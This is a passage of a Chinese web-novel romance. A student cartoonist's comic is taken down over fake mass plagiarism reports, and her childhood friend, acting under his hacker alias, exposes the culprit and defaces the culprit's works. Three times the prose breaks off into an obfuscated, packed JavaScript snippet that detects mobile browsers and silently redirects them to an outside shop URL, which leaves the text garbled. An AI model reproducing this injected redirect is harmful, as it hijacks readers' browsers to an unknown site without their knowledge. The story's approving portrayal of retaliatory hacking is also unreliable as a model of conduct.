林朝晞挠挠头,嘿嘿干笑着挪步到桌边,特意挑了张离他最远的椅子坐下,拿起勺子就大口喝粥,不敢抬头看他。 她能感觉到,一道视线平静地落在自己发顶。她不敢抬头验证。 “唔唔真香!”她口齿含糊,急匆匆地喝了粥,又去咬饼,狼吞虎咽的动作比任何时候都急。 那视线没有移开。 她如芒在背,借着看客厅时钟的动作才敢快速瞥一眼——他果然在看她,手边那杯豆浆,似乎没怎么动。 “哎呀来不及了!”她装作很着急的样子,捧起碗将剩下的粥灌进喉咙,然后“啪”地放下空碗,展示给他看:“全喝完了!你是大厨!” 不等他回应,她弹射起身:“我去学校咯!” 全程,她没敢和他对视一次。 逃到玄关,她手忙脚乱地蹬鞋,但越是心急越是穿不进。 好不容易塞进去了,她匆匆拧开门,刚踏出去一步,卫衣帽子被一股力量向后拽住。 “哎!”她踉跄着被拉回,惊惶回头,“你干嘛呀?” 裴弈就站在她身后一步之遥,不知何时跟过来的。 他略低下头,目光自眼睫下投来,清亮的眼神带着几分探究,分明已静静观察了她许久,此刻才不紧不慢地开口:“跑什么?” 他顿了顿,“林朝晞,你今天很奇怪。为什么一直不敢看我?” 18. 你喜欢笨蛋? 林朝晞闻言,表情一愣。 她有表现得那么明显吗?他怎么一下子就看穿了。 “我……没、没有。”她吞吞吐吐半天,辩解的话到了嘴边,只觉得耳朵发热,硬是说不出口。 要她怎么说啊?【做春梦了,性幻想对象是你】……? “你瞒得了我么?老实交代。” 林朝晞蓦地想起,初中时有女生让她帮递情书给裴弈,她偷摸塞到他书包里,没两下子就被逮住的陈年往事。 她确实瞒不了他。 裴弈就跟台人型测谎仪似的,还是针对林朝晞开发的型号。她有什么小心思、小动作,他都能看穿。 林朝晞低着头,肩膀微微耸着,卷翘的睫毛耷拉下来,随着闪躲的眼神上下扇动,不时偷眼瞧他。 那模样像极了偷腥被当场抓住的小老鼠。 他松了拽她帽子的手。 “呃,就是,”她的指尖悄悄蜷起,两颊骤然漫上一层热红,心慌意乱藏都藏不住,“你……昨晚跟我说的话。” “什么?” “……让我不知道怎么面对你了。”她的声音细若蚊蝇。 裴弈静了一瞬,随即像是明白了什么,眉梢极轻地抬了一下。 “我说的话?”他语气平缓,听不出情绪,“哪句?在看猫片那句?” 林朝晞耳根更烫了,胡乱点了点头。 然后,她听见一声很轻的嗤笑。 “林朝晞,”他往前挪了半步,两人之间的距离无声拉近,“你脑子里,到底装了什么?” “啊?” “我说的猫片,”他顿了顿,目光落在她红透的耳尖上,语气里掺进一点慢悠悠的戏谑,“是你发过来的,那个在地上打滚的猫。” …… 林朝晞呆住了。 她猛地抬起头,撞上他好整以暇的目光。那双眼睛清清亮亮的,映出她此刻一脸呆相。 “是、是那个猫啊?!”她声音拔高,带着难以置信的羞窘。 “不然呢?”裴弈反问,嘴角那点要笑不笑的弧度更明显了,“你以为是什么?” “我……!”林朝晞语塞,脸烧得快要冒烟。原来是自己想歪了!还为此做了一晚上乱七八糟的梦! 巨大的尴尬像潮水般没顶而来。她恨不得立刻挖个洞钻进去。 “我、我去上学了!”她再不敢看他,扭头就要跑。 “站住。” 她脚步一僵。 “饼没吃完。”裴弈把那个印着喜乐铺logo的纸袋递过来,语气恢复了平常的淡,“带上。” 林朝晞一把抓过纸袋,头也不回地冲出了门。 直到跑到楼下,冷风一吹,脸上的热度才稍稍降下去。她捏着手里温热的纸袋,想起他最后那个了然又促狭的眼神,脚趾又忍不住蜷缩起来。 ……丢人丢大了。 一整天,林朝晞上课都心不在焉。 课间,赵晓棠凑过来,戳戳她的胳膊,一脸神秘兮兮:“朝晞,你快看裴助教!” 林朝晞顺着她的目光看去,裴弈正站在讲台边整理教案,今天穿了件挺括的白衬衫,袖口挽到小臂,露出清瘦的手腕,阳光落在他身上,衬得身形愈发挺拔。 “怎么样?”赵晓棠撞了撞她的胳膊,笑得暧昧,“你不觉得他穿衬衫又禁欲又有点色吗?肩线也太好看了吧!” 林朝晞的心跳莫名快了一拍,脑子里不受控制地闪过梦里的画面,脸颊又热了。 “有、有吗?”她含糊道。 “有啊!你没看后排那几个女生,眼睛都快粘他身上了。”赵晓棠托着腮,忽然压低声音,“话说,我上午去办公室交作业,跟他聊了两句。” 林朝晞心里咯噔一下,下意识攥紧了笔:“你、你们聊什么了?” “就问了问作业要求呗。不过他居然笑了诶,虽然就一下。”赵晓棠眨眨眼,“朝晞,你说……他是不是对我有点好感啊?” 林朝晞的笔尖在纸上划出一道短线,没接话。 裴弈不轻易对不熟的人笑,刚才居然对晓棠笑了?好稀奇,难道…… 赵晓棠没察觉她的异样,自顾自说着:“其实裴老师真的挺好的,长得帅,脾气看着也不错……要不,我再去要一次微信试试?” “他上次不是拒绝你了吗?”林朝晞闷声道。 “那次是当着全班嘛,他可能不好意思。私下再问问呗。”赵晓棠越想越觉得可行,“哎,你觉得我成功几率大不大?” 林朝晞捏紧了笔杆,指尖有点发白。 “……不知道。”她听见自己干巴巴地说。 - 晚上回到家,林朝晞一进门就闻到了饭菜香。 裴弈正背对着她切菜,衬衫袖子挽到手肘,露出线条干净的小臂。 她换了鞋,磨磨蹭蹭蹭到厨房门口,扒着门框往里看。她张了张嘴,想问什么,又咽了回去。脚尖在地板上蹭来蹭去。 “有事就说。”裴弈头也没回,往锅里下了菜,油锅“滋啦”一声响。 林朝晞吓了一跳,往后缩了缩,又鼓起勇气往前挪了半步。 “那个……你今天,是不是和晓棠聊天了?”她声音小小的。 “嗯。” “……聊什么了啊?” 她真的很想知道他们聊了什么。那种……能让裴弈接话,甚至露出一点表情的对话。 裴弈关了火,用锅铲翻了翻菜,才慢悠悠转过来看她:“问作业。” “哦……”林朝晞低下头,手指抠着门框上的漆,“那……你觉得她怎么样啊?” 厨房里安静了几秒。 “什么怎么样。”裴弈的声音听不出情绪。 “就是……人怎么样嘛。”林朝晞抬起头,飞快地瞥他一眼又垂下。她想起赵晓棠风风火火的样子,心里那点说不清道不明的纠结拧成了一股绳。 如果他们真的在一起了……那他,就要去陪晓棠写作业、给晓棠做饭了吧……她也不好总是找他替自己解决麻烦了。 林朝晞:“你……喜欢她那样的吗?” 裴弈没说话。 他把菜盛进盘子,放到一边,擦了擦手,才转过身,安静地看着她,目光沉静,却像能穿透她所有小心思。 林朝晞被他看得头皮发麻,下意识想逃。 “你问这个干什么。”他说。 “就、就问问嘛……”林朝晞声音越来越小,“你不说就算了。” 又是一阵沉默。 “我、我去写作业了——”她转身想溜。 “林朝晞。” 她脚步定住,视线不安地在他脸上快速掠过。 裴弈走到她面前。她能闻到他身上淡淡的、干净的皂角气味,混着一点点厨房里的烟火气。 他的脸离得很近,近到她能看清他睫毛的弧度,和瞳孔里那个缩小的、慌乱的自己。 “你为什么想知道这个?”他问,声音不高,却每个字都清晰。 林朝晞张了张嘴,说不出话。 她为什么想知道?她也不知道。 只是想到赵晓棠说起他时发亮的眼睛,想到他们聊得开心,心里就像堵了团湿棉花,喘不过气。 “我……”她手指无意识地绞着衣角,声音细得像蚊子哼,“就是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093796|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …好奇嘛。” 她能感觉到他正在盯着自己。 “……那你,”她咽了咽口水,脑子一抽,换了个问法,“那你喜欢笨一点的女生,还是聪明一点的啊?” 裴弈眉梢微挑:“问这个干嘛。” “就……好奇啊。”林朝晞低下头,对着手指,“因为,你今天和晓棠好像聊得挺开心的……” 她声音越说越小,最后几个字几乎含在嘴里。 裴弈没接话。 厨房里安静得能听见冰箱的嗡嗡声。林朝晞等了好一会儿,忍不住偷偷抬眼看他。 他还是那副表情,看不出是高兴还是不高兴。 “……是挺开心。”他终于开口,语气淡淡的。 林朝晞心里一紧,脱口而出:“啊?!你喜欢笨蛋啊?” 说完她就后悔了,这话听着像在说晓棠坏话。可她明明不是那个意思,她只是……只是觉得以裴弈的聪明,应该会喜欢更旗鼓相当的人。 她赶紧捂住嘴,干笑两声:“没有啦,我不是说晓棠坏话……我比她还笨呢,嘿嘿。”说完,自己都觉得尴尬,低下头小声嘟囔:“你应该……不喜欢笨一点的女生吧……” 话音未落,脸颊忽然被捏住。 裴弈的指尖温热,力道不轻不重。 林朝晞呆住。 “我为什么不能喜欢笨蛋?”他说。 林朝晞眼睛一下子睁圆了:“啊?!真的喜欢她吗?” 裴弈没回答,只是捏着她的脸轻轻扯了扯。 他的视线在她脸上停留片刻,最后落在她微微张开的唇上,眼底飞快地掠过一丝笑意,快得让人抓不住。 “你不也是笨蛋。”他说。 林朝晞没听懂,只觉得脸被他捏着,说话都含糊:“不要掐我的脸啦……” 她脸红了,心里乱糟糟的。 他这话……什么意思? 裴弈松开手,指尖又轻轻摩挲了一下她脸颊的软肉。 “你最近是不是胖了?”他忽然说,“脸上肉好多。” 林朝晞一愣,随即炸毛:“你才胖了!” 裴弈唇角勾了勾,转身重新打开火,往锅里倒油:“出去等着,别在这儿碍事。” 林朝晞捂着脸瞪他一眼,气鼓鼓地转身走了。走到厨房门口,又忍不住回头看了一眼。 他正专注地炒菜,侧脸在厨房暖黄的灯光下显得格外清晰。 她摸了摸刚才被他捏过的地方,那里还残留着他指尖的温度,像烙了个浅浅的印,顺着皮肤往心里窜。 他最近怎么老碰她? 上次也是,擦她的脸。 这种举动,在异性之间,是不是过分亲昵了? 她努努嘴,回到房间。 裴弈那句“你不也是笨蛋”在脑海里反复回响,和脸颊上的触感融合在一起,带出一种陌生的、让人心慌的痒意。 他到底什么意思啊?是说她和赵晓棠一样笨,所以也可能喜欢?还是……单纯在损她? 可如果是损她,需要用那种……仿佛带着温度的眼神吗?需要那样捏她的脸,又轻轻抚过吗? 林朝晞的心跳又乱了几拍。她甩甩头,把那些不合时宜的联想甩出去。 不可能不可能。 裴弈要是喜欢谁,肯定会直接说出来的。他从小就这样,想要什么从来都清清楚楚。 对,他肯定就是在嘲笑她! 她成功地说服了自己,刻意忽略了心底那一丝挥之不去的疑惑。 她坐在椅子里,书桌上摊着她的数位板和画稿,旁边手机屏幕忽然亮了一下。拿起来看,是赵晓棠发来的消息: 19. “朝晞?” 赵晓棠:【作业我抄了室长的,你不用发我啦】 赵晓棠:【以后不能抄你作业了】 林朝晞问她:【为什么】 最近赵晓棠不知道在忙什么,常常完成不了作业,找她要了几次作业抄。 赵晓棠:【今早我去找裴助教的时候被他说了】 赵晓棠:【他说我的作业是不是抄你的】 林朝晞有些震惊:【为什么他会知道?】 赵晓棠:【我问了,他说我连你写错的单词都一并抄进来了…然后他就笑啊】 林朝晞看着发来的消息,有些明白了。原来裴弈笑的是这个。跟她设想的不一样,她以为,他笑是因为跟赵晓棠聊得来。 看来,他们没有她想象的亲密。 她放松地呼了口气,唇边扬起一个淡笑,顿时觉得轻松不少。 手机震动,赵晓棠又发来一条消息:【对了,我最近跟系草聊得还可以】 林朝晞:【……】 林朝晞:【你不是想追裴弈吗】 赵晓棠发了个哈哈笑的表情:【系草主动找我聊的呀,再说了,这叫广撒网】 【对了,你把裴弈的微信推给我吧,我最近报了个恋爱班,学了点撩汉的套路,正好试试】 林朝晞眉心微微蹙起,似乎有点不认同朋友的做法,想了想,回道:【别人我不管,但是你要真喜欢裴弈,还是专一一点吧】 赵晓棠:【哟哟哟,有的人也太偏心了吧,我连人家的微信都还没有,就担心我使坏了(坏笑.jpg)】 林朝晞被她一句“偏心”给说得怪怪的,顿了顿,回道:【我哪有偏心】 赵晓棠:【你看,别人你都不管,就管他】 林朝晞:【……】 林朝晞看着屏幕上“偏心”两个字,脸颊莫名一热。她指尖在输入框里来回乱点,想反驳,却又觉得好像没什么可反驳的。 她确实……有点偏心裴弈。 心虚地将手机锁屏丢到一边,她深吸一口气,强迫自己把注意力拉回到画稿上。 可脑子里乱糟糟的,一会儿是裴弈捏着她脸时微沉的眼神,一会儿是赵晓棠那句戏谑的调侃。 她烦躁地抓了抓头发,干脆打开了作者后台,想看看榜单出来后,有没有新的读者评论。 或许沉浸在作品的世界里,能让她暂时忘掉这些烦心事。 后台右上角的消息图标,果然又亮起了一个红色的99+。 她唇角不由自主地翘了翘,点开消息列表。 然而,预想中和谐的催更和讨论并没有占据主流。一连串刺眼的评论,扎进她眼底: 【就这?打赏榜第一?画得跟屎一样。】 【笑死,真以为有钱就能为所欲为啊?这画技连我们圈的新人都比不上。】 【听说涉嫌抄袭了?已经举报了,坐等下架。】 【@玉琴女神,快来看这个资源咖,心疼我女神,画得那么好却被资本碾压。】 林朝晞嘴角的笑意一点点僵住,心也跟着一寸寸往下沉。 她往下划着,发现类似的负面评论越来越多,甚至有许多新注册的初始用户,也跟风留下一句“抄袭狗滚出芳林”。 她有些慌乱地退出评论区,点开作品主页。 然后,瞳孔骤然一缩。 原本应该显示最新章节的地方,此刻只剩下一行冰冷的灰色系统提示: 【该作品因被多人举报“涉嫌抄袭”,为规避风险,已由系统自动锁定,暂时无法阅读。详情请联系您的责编。】 下架了。 她的作品,被下架了。 林朝晞的大脑嗡的一声,一片空白。她颤抖着手,反复刷新页面,但那行灰字像无法逾越的一道墙,始终横亘在那里。 怎么会?她画的每一个分镜,每一个人物,都是自己一笔一划想出来的,怎么会涉嫌抄袭? 她立刻给编辑发去消息,得到的回复却是客服式的: 【宝,系统检测到短时间内有大量不同IP的举报,触发了自动风控机制,我们这边需要走流程审核,你先耐心等待哦~】 耐心等待?要等多久?一天?一周?还是一个月? 一股巨大的无力感攫住了她。 如果只是普通的差评,她还能当作没看见,或者试图解释一番。但是系统性的下架,让她什么也做不了。 委屈和愤怒交织着涌上心头,眼眶瞬间就红了。 她想到了裴弈。 但,不知道怎么跟他说。她画漫画的事情他知道,却没看过,也不知道她的作品褒贬不一的事。 他能帮她做什么呢? 而且,她不想让他看到自己这么狼狈的样子。 在满心的混乱和无助中,她还是点开了日的对话框。 电脑屏幕的冷光映在裴弈脸上。 他眼神淡漠,指尖在鼠标滚轮上飞快滑动,林朝晞作品下各式各样的差评像密密麻麻的针,扎得他眉峰越蹙越紧。 滑至底部,他微眯眸子。 IP杂乱,但账号清一色是刚注册的初始号。哪个东西想出来的损招? 电脑右下角的□□图标急促闪动,是林朝晞的头像。 他几乎是立刻点开,对话框里,她竟是发来了语音条: “大佬……我的漫画……我的漫画被下架了……” “他们说我抄袭……我没有……我真的没有……” “怎么办啊……我不知道该怎么办了……” 她带着哭腔的声音断断续续传来,尾音发颤,是受了委屈的呜咽。 “啧。”一声极轻的声响从裴弈喉间逸出。 他甚至没听完后续的语音,猛地起身,椅子因这突兀的动作向后滑出,发出一声刺耳的摩擦音。 他几步走到门边,手已经握上了冰凉的金属门把,手背上清晰地浮现出用力的筋络。 只要拧开这扇门,走过去,就能看到她。 可指尖传来的寒意让他瞬间冷静下来。 现在过去,会不会太刻意了。 而且,她在哭。遇到事情也没有直接找自己,而是找“日”,说明,在她心里,此刻的她,并不想被“裴弈”看见。 门把手在他掌心被攥得更紧,突兀的骨节因用力而泛起一层苍白。 最终,他还是松开了手,缓缓退回到书桌前。 重新坐下时,他那双平日里总带着几分疏懒的眼眸,沉静得像暴风雨前的海面。 指尖在鼠标和键盘上来回飞跃。 大约四十分钟后,当最后一个回车键被敲下,他才停了下来,整个空间重归寂静。 他再次起身,来到林朝晞的房门前,敲了几下门,里面没有回应。 他在门口静立了两秒,握住门把,轻轻拧开。 房间里只开了一盏台灯,光晕昏黄。林朝晞趴在书桌上睡着了,侧脸埋在臂弯里,乌黑的卷发散乱地搭在背上,肩膀还微微耸着。 他放轻脚步走过去,单手撑在桌沿,凑近了看她。 她脸颊上的泪痕清晰可见,睫毛湿漉漉地粘在一起,鼻尖红得像熟透的樱桃,可怜兮兮的。 多久没见她哭了?最后一次,还是他出国前夕,两人大吵一架那天。 “朝晞?”他轻轻唤她名字,声音是罕见的温柔,带着几分自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093797|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没察觉的心疼。 她没动,呼吸均匀,睡得很沉,大概是哭累了。 裴弈犹豫了两秒,最终还是弯下腰,右手探入她膝弯,左手揽住她后背,微微用力,便将她整个人从椅子里抱了起来。 将她轻轻放在床上,掖好被角。他没有立刻离开,而是在床沿坐了下来。借着台灯的微光,他伸出手,用温热的指腹,极其轻柔地一点点拂去她眼角残留的湿意。 是不是他太着急了? 如果没让她上那个打赏榜,今天的事就不会发生…… 其实他根本不在意她的漫画有没有人看,反正他都会支持她的,她画得再烂,也有他这个读者。 是因为她说想被人看见,他才会那么做。 他在黑暗中无声坐了许久,最后轻叹了声,走出房间,替她带上了门。 “咔哒”一声轻响,像一声温柔的晚安。 - 次日清晨,林朝晞是被一阵急促的手机震动吵醒的。 她宿醉般地抬起头,脖子酸痛,眼睛也肿得像核桃。屏幕上,是编辑发来的十几条消息。 【宝!你的作品恢复了!】 【站内信看了吗?法务部给你发了道歉信!】 【我的天,你快去看论坛!出大事了!】 林朝晞心头一跳,连忙点开画家助手。 果然,她的作品主页已经恢复如常,那行刺眼的灰色提示消失不见,取而代之的是一封置顶的、来自官方的道歉公告。 她怔怔地看着,还没完全反应过来,又点开了编辑说的论坛。 一个加精、标红、热度爆表的帖子高高挂在首页—— 标题:【技术分析帖】关于作者日希被恶意构陷抄袭的完整证据链。 她点了进去。 主楼没有任何多余的废话,只有一张张令人眼花缭乱的代码截图和逻辑流程图。 发帖人以一种冷静到近乎冷酷的方式,清晰地剖析出昨晚的群体举报是如何通过脚本在短时间内伪造大量IP,进行集中的恶意攻击。 证据确凿,逻辑闭环。 帖子的最后,附上了一个IP地址,精准地指向了另一位小有名气的漫画作者——未见。 是林朝晞不认识的作者。 整个帖子,从头到尾,发帖人没有发表一个字的个人评论,只是把证据甩在那里。 林朝晞拉到发帖人的ID,是她很熟悉的用户头像,昵称是:日。 她心脏重重地漏跳了一拍。 就在这时,她的作者群弹了条@她的新消息: 【我靠!@日希你快去看未见的主页!!!笑死我了!!!】 林朝晞点进搜索框,找到了未见的主页。 然后,她彻底呆住了。 未见的所有作品,包括她最出名的代表作,每一本漫画的第一话内容,全都被替换成了一段加粗放大的黑体字: 【互联网并非法外之地,创作不易,请尊重每一位原创者的心血。——《中华人民共和国著作权法》】 整个芳林的读者和作者都沸腾了。 所有人都在讨论那个神秘的“日”,讨论他神乎其技的技术,和他那人狠话不多的行事风格。 林朝晞握着手机,指尖冰凉。 她看着那个技术贴,看着未见主页上那段堪称公开处刑的声明,昨晚的委屈和无助早已烟消云散,取而代之的,是一种难以言喻的、巨大的震撼和心安。 她切换回Q/Q,点开与日的对话框。 昨晚她发出的那几条哭诉的语音,静静地躺在那里。 日只发了一条消息:【别哭了,我摆平了。】 20. 要见面吗? 林朝晞看着那简短的几个字,不由得撅起嘴,眼底涌上一阵发热的酸胀感,水光在眼眶里晃动着。 屏幕上的字迹模糊了一瞬。 【别哭了,我摆平了。】 几乎就在看清这行字的同一秒,一个遥远的画面猛地撞进脑海—— 皱巴巴的画纸,少年拧紧的眉头,还有那句带着生硬却让她攥紧了纸角的“我摆平了”。 连事后他手忙脚乱递来纸巾,嘟囔着“别哭了哭得好丑”的模样,都清晰得仿佛昨日。 “呜。”她呜咽一声,强忍泪水,做着深呼吸,试图平复情绪。 不知道为什么,眼前这个顶着灰色头像的人,竟然和裴弈说出了一样的话。 她回复:【大佬你是世界上最好的人!(小猫落泪.gif)】 “林朝晞,”门口响起敲门声,是裴弈在喊她,“再不起来要迟到了。” 她用手背擦掉未落的泪,扬声道:“哎来了!” 回应完他,林朝晞起身去换好衣服、洗漱,在镜子前把眼角抹了又抹,擦干泪,眼睛的肿胀却擦不掉。 她有些懊恼。 不想出去见到裴弈,怕他会问她怎么了,她怕自己一委屈就会忍不住哭,然后一股脑地跟他说自己遇到的事。 那样也太丢脸了。 她已经很久没有在他面前哭过了。更别提敞开心扉地诉说心事。 林朝晞犹豫地走到房门后,拧开门,探出小半张脸,看向客厅。 裴弈正坐在餐桌的另一端,低头抿了口咖啡,察觉到她这边的动静,抬起头迅速地扫过来一眼,声音很轻:“快过来。” 林朝晞不情不愿地低头走过去,在他对角线坐下。 “买了你喜欢吃的。”他推过来一个包装纸。是她喜欢的那家肉包子。 都没有叫他买,他就主动去了。 她接过来,垂着眸,拿起包子咬了一口,视线仓皇地瞥过他。他也低着眼帘,没有要看她的意思。 林朝晞这才放松了些,不客气地拿过桌上的豆浆来喝,无自觉地吸了下鼻子,她倏地顿住。 裴弈没抬眼,吃早餐的动作没有停下,而是很自然地说:“昨晚又看什么苦情剧去了。” 她张了张嘴,略一思索,才说:“你管我。” 餐桌上重归于平静。 林朝晞把热乎的包子吃剩一半,忽然觉得有点不对劲。 不对啊,她昨晚明明是趴在桌子上的,为什么醒来是在床上呢?……她也不梦游啊。 她狐疑地盯着裴弈。 他已经吃完早餐,正单手拿着手机,指尖划过屏幕,浏览着什么新闻,冷白的侧脸骨骼分明,纤密的黑睫覆下来,遮住了眼底的情绪。 这栋房子,除了裴弈,还有谁会进她房间? “你昨晚进我房间了?”她问。 裴弈略抬了抬睫,轻吐出两个字:“没有。” “那我怎么会突然跑到床上去了?”她直接把心中的疑惑问了出来。 他勾了勾唇,没有看她:“你梦游了吧。” “我不梦游的呀。”她很认真地解释道。 他放下手机,目光落在她脸上,漆黑的眼珠像沉静的湖面,悠悠道:“给你台阶你还不下。” 林朝晞愣了一瞬,立马反应过来,有些窘迫地低下头:“你干嘛进我房间啊?” 她话音刚落,就注意到一个事实——也就是说,是他把她抱上床的? 这个念头让她心头一跳,脸颊也跟着热了起来。但她不敢再问下去,更不敢质问他是不是抱了她。 总觉得,很尴尬,很怪。 而且只要她问了,就一定是她会更尴尬——这是一种被裴弈欺负多年后,刻在骨子里的直觉。 裴弈站起身,经过她旁边时,手不轻不重地在她发顶揉了一把,将她的头发弄得微乱,语气里带着一丝懒洋洋的戏谑: “你流了我一手的口水,可脏了。” 林朝晞下意识地去顺自己的头发,回头瞪他:“我睡觉不流口水!” 他没再说什么,转身回了房间,只留下她一个人在客厅里,对着那个吃了一半的包子胡思乱想。 等他再出来时,已经换好了挺括的衬衫,正在慢条斯理地系着领带。他臂弯里搭着一件外套,走到玄关穿好鞋,却没有立刻离开,而是回身望着她。 他的脸上没有笑,那双总是清清冷冷的眼睛里,此刻却像落进了晨光,目光比平时柔和了几分。 “我订了蛋糕,晚上你记得回来吃。”他没等她回应,便拧开门走了出去。 林朝晞呆呆地望着那扇关上的门,在椅子上坐了好一会儿,才后知后觉地眨了眨眼。 他……居然会对她这么好。 不仅主动买了她爱吃的包子,还订了蛋糕。 她不由得咬紧下唇,脑海里回放出刚才的对话。那句“流了我一手的口水”,此刻听来,似乎也不那么讨厌了。 他是不是……怕她因为“被抱上床”这件事感到尴尬,所以才故意开了个玩笑,想让这个话题快点过去? 这个念头一旦冒出来,就再也压不下去。 她惊讶地睁圆了眼,唇边慢慢漾开一个连自己都没察觉到的笑。 - 林朝晞来到教室,在赵晓棠边上坐下。 赵晓棠侧过头来随意扫了她一下,视线忽地顿住,吃惊道:“你干嘛了?眼睛肿成这样。” 她想起裴弈帮她找的借口,说:“我昨晚看苦情剧哭了整夜。” 赵晓棠竟然信了,凑过来认真地问:“什么剧啊?好看吗?” 林朝晞古怪地皱起眉,盯着她天真的神情,忽然想到一件事——我靠,她在裴弈面前不会也是这样好骗吧? 她突然觉得很丢脸。懊恼得一把抱住了头,低低地把“啊——”字音节拖得很长。 “怎么啦?!”赵晓棠温柔地摸上她的头,关切道,“你头疼吗?” “呜——”她把下巴搁在桌上,苦着一张脸。 难怪裴弈老是一副要笑不笑的样子。难怪他光是看见她抄错的单词都要笑——原来她有这么好笑啊。 赵晓棠:“你呜啥啊?” 林朝晞余光瞥见裴弈拿着讲义走进教室,缓缓坐直了身子,她决定痛定思痛!从今天起,不要再像从前一样总是露出很傻的表情了! 她也要像裴弈一样,做一个高冷的、令人琢磨不透的神秘人! “没事。”林朝晞面无表情地转过脸,拍了拍赵晓棠的肩。 “什么玩意儿…怪怪的。” 一节课很快过去。 课间休息时分,林朝晞打开画家助手,点进自己的作品评论区,好几页的评论都是刚发的,大部分是【打卡】、【合影留念】。 她困惑地继续往下滑,终于滑到一些“活人评论”: 【大大,你的漫画是有高人指导吗?前几话的质量比后面的差好多】 【不会是那位神秘的黑客大佬指导的吧?】 她回复了那条评论:【是哒!得到了他很多的指导~】 然后又点开论坛,想看看那个热帖下有什么新回复。 热帖依旧在热度第一,回复已经多达上千楼: 【前排】 【火钳刘明】 … 【看完了,这位日希显然没抄袭。还有反转吗?我先不站队】 【爽!!!!!!最他爹恨这帮红眼病了!总算有人制裁了!】 【年度爽文!请问大佬还接单吗?下次我被全网黑能不能找你帮忙?我有点小米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093798|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 … 【哇,看了大佬的主页,只关注了日希一个人,只收藏了她的作品,只打赏了她一个。。。我的CP雷达在狂响!】 【这是什么霸道黑客爱上我吗?】 【笑死了,你不会是日希小号吧?你们IP都一样】 … 林朝晞的指尖停在这条评论上,神情微讶。 日的IP和她一样?怎么可能,他明明在美国啊。 林朝晞点击滑到顶部,日的头像框右下角一行小灰字:IP临湖。 “咦?!”她不禁惊呼出声,心头骤然一跳。反复刷新页面,IP依旧显示临湖。她干脆退出了整个app,关掉所有后台,再次点进去看。 这一次她点进的是日的主页。后台显示,他最近登录地是临湖。 他回国了? 林朝晞切到Q/Q,两人的对话框内容还停留在早上,他没有回她消息。 她又发去一条:【大佬,你在临湖吗?】 日的头像灰着,离线状态。 “好奇怪啊…”她喃喃道。 “咋了?”赵晓棠凑过来,正要看她手机,她一把退出应用,笑说:“没什么。” “你对我真是秘密越来越多了。”赵晓棠不满地伸手去挠她痒痒。林朝晞被弄得直笑,不停求饶。 讲台上的裴弈扫了台下的林朝晞一眼,转而看向手机,Q/Q上是她发来的消息:【大佬,你在临湖吗?】 他昨晚光顾着快点解决那件事,忘记掩盖IP了。 真是百密一疏。 讲桌下,他的大拇指和食指指腹互相搓揉着,力度很轻,像是一个无意识的动作。 林朝晞的手机震动了下,她赶紧拨开赵晓棠不安分的手,有些激动地拿起来看。 日:【嗯。】 她还没来得及做出反应,赵晓棠先一步把头探过来:“这是谁啊?” 林朝晞赶忙把手机屏幕向下,半警惕地说:“一个朋友啦。” “朋友?”赵晓棠端详着她,见她含羞似的垂着眼,眸间那隐约的春心萌动藏也藏不住,起哄道,“哟哟哟?有情况?你跟谁暧昧呢?” 林朝晞一听见暧昧两个字,脸上一热,猛地想到那天语音通话里他磁性的声线,急得差点跳起来,反驳的声音都带了点颤:“才没有呢!” “什么没有啊,”赵晓棠伸出手,“给我看看?” 林朝晞把手机紧紧按在胸前:“不行。” “你看你看你看!还说没有,普通朋友有必要这么藏吗?”赵晓棠嬉笑着凑近,“哎,你们要见面啊?” 林朝晞心惊,有些不自在地撇开视线,声音也低下去:“谁说的……” 赵晓棠:“那你问人家在不在临湖?” “不是你想的那样……”林朝晞话音未落,手机忽然被一把抽走。 赵晓棠飞快滑开屏幕,贼笑着低头打字,不等她反应,已经按下发送:【要见面吗?】 “啊!!!赵晓棠!!”林朝晞一激动,声音响彻教室—— 最后一个尖锐的音节划破空气,随后,是落针可闻的寂静。 她举着刚从赵晓棠手里抢回来的手机,整个人僵在原地。 她能感觉到,前后左右,整个阶梯教室所有同学的目光,像聚光灯一样,“唰”地全打在了她身上。 有人从睡梦中惊醒,茫然四顾;有人憋着笑,肩膀直抖;更多的人,则是带着毫不掩饰的好奇和打量,视线在她和笑得花枝乱颤的赵晓棠之间来回逡巡。 血液“轰”一声冲上头顶。她的脸颊、耳朵、脖子,瞬间烫得能煎蛋。她恨不得原地刨个洞钻进去。 而在这片令人窒息的寂静和无数道目光中央,讲台上,裴弈握着粉笔的手顿在了半空。 21. 收藏家 他缓缓侧过身,目光越过层层叠叠的人头,精准地落在她身上。 教室里,几声零星的窃笑声打破了平静。 裴弈的表情比她想象中柔和,语气似乎有点无奈:“林朝晞,你待会儿跟我来办公室一趟。” 林朝晞点点头,尴尬至极。 